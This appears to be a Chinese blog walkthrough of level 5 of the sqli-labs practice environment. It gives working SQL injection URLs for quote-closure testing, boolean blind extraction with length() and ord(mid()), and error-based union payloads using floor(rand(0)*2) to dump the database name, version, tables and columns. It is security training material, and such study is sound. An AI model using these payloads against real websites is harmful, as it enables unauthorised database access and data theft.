Less-5
发布日期:2022-09-10 02:49:28 浏览次数:3 分类:博客文章

本文共 1726 字,大约阅读时间需要 5 分钟。

Less-5

第五关:Please input the ID as parameter with numeric value 

 

(1)判断注入点闭合方式

正常输入:

 

输入特殊字符:

 

由此判断闭合方式为单引号包裹

 

输入错误参数:

 

 

(2)注入类型

由于页面没有回显位置,只能根据正确与否显示的页面信息判断,所以这里考虑使用盲注的方式

 

#布尔盲注http://192.168.88.133/mysqli-labs/Less-5/?id=1' and 1=2  --+http://192.168.88.133/mysqli-labs/Less-5/?id=1' and 1=1  --+#通过上面已经知道了闭合方式,所以也可以使用这种方式来判断是否注入成功

 

 

(3)布尔盲注

#使用length() 方法http://192.168.88.133/mysqli-labs/Less-5/?id=1' and length(database()) >10  --+#我们知道数据库名长度为8,可以通过二分法来修改长度判断数据库名长度

 

 

介绍几个方法:

mid():MID(string or text, start, length)substring():SUBSTRING(input_string, start, length)ord():ascii码值ascii():同上

 

#判断数据库名名称http://192.168.88.133/mysqli-labs/Less-5/?id=1' and  ord(mid(database(),1,1))=115  --+#这种人工注入比较麻烦,所以一般使用python脚本或可以使用burp的模块进行暴力,这里不做演示。

 

(4)报错注入

介绍三种常用的报错函数

1.updatexml(XML_document,XPath_string,new_value) 2.extractvalue(XML_document,xpath_string)3.floor(rand(0)*2) :原理科参考 注::前两个方法输出字符会被限制在32个字符,第三个语句将 输出字符长度限制为64个字符

 

爆库:

 

 

 

考虑使用第三种方式:

 

 

#查看数据库信息http://192.168.88.133/mysqli-labs/Less-5/?id=-1'  union select count(*), 1,concat(0x3a,(select database()),0x3a,version(),floor(rand(0)*2)) as x from information_schema.tables   group by x   --+ #表信息 http://192.168.88.133/mysqli-labs/Less-5/?id=-1'  union select count(*), 1,concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) as x from information_schema.tables   group by x   --+ #列信息相似更换concat第一个查询的字段内容即可 http://192.168.88.133/mysqli-labs/Less-5/?id=-1'  union select count(*), 1,concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2)) as x from information_schema.tables   group by x   --+ #注 limit 处来显示不同内容,调整第一个参数即可

 

 

 

 

 

 

 

 

 

注:如果有方法上(concat等)的使用不理解的建议百度了解更多再回头看,,,,欢迎指正和交流~~ 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

转载地址:https://www.cnblogs.com/stickonit/p/16050581.html 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:Less-6
下一篇:Less-4

发表评论

最新留言

第一次来,支持一个
[***.219.124.196]2024年03月13日 23时42分07秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章